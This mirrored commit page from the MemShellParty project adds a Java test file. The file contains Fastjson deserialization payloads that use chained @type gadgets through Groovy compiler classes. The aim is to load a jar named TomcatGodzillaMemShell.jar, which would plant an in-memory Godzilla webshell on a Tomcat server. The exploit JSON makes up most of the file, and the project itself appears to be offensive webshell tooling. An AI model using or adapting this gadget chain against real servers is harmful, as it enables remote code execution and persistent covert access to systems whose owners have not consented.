mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-22 15:10:43 +08:00
feat: support GroovyTransformJar packer
This commit is contained in:
@@ -0,0 +1,35 @@
|
||||
import com.alibaba.fastjson.JSONObject;
|
||||
import org.junit.jupiter.api.Test;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/12/6
|
||||
*/
|
||||
class FastjsonServletTest {
|
||||
@Test
|
||||
void test() {
|
||||
String json = "{\n" +
|
||||
" \"@type\":\"java.lang.Exception\",\n" +
|
||||
" \"@type\":\"org.codehaus.groovy.control.CompilationFailedException\",\n" +
|
||||
" \"unit\":{\n" +
|
||||
" }\n" +
|
||||
"}";
|
||||
|
||||
try {
|
||||
JSONObject.parse(json);
|
||||
} catch (Exception e) {
|
||||
//e.printStackTrace();
|
||||
}
|
||||
String data = "{\n" +
|
||||
" \"@type\":\"org.codehaus.groovy.control.ProcessingUnit\",\n" +
|
||||
" \"@type\":\"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit\",\n" +
|
||||
" \"config\":{\n" +
|
||||
" \"@type\": \"org.codehaus.groovy.control.CompilerConfiguration\",\n" +
|
||||
" \"classpathList\":[\"file:/Users/reajason/Downloads/TomcatGodzillaMemShell.jar\"]\n" +
|
||||
" },\n" +
|
||||
" \"gcl\":null,\n" +
|
||||
" \"destDir\": \"/tmp\"\n" +
|
||||
"}";
|
||||
// JSONObject.parse(data);
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user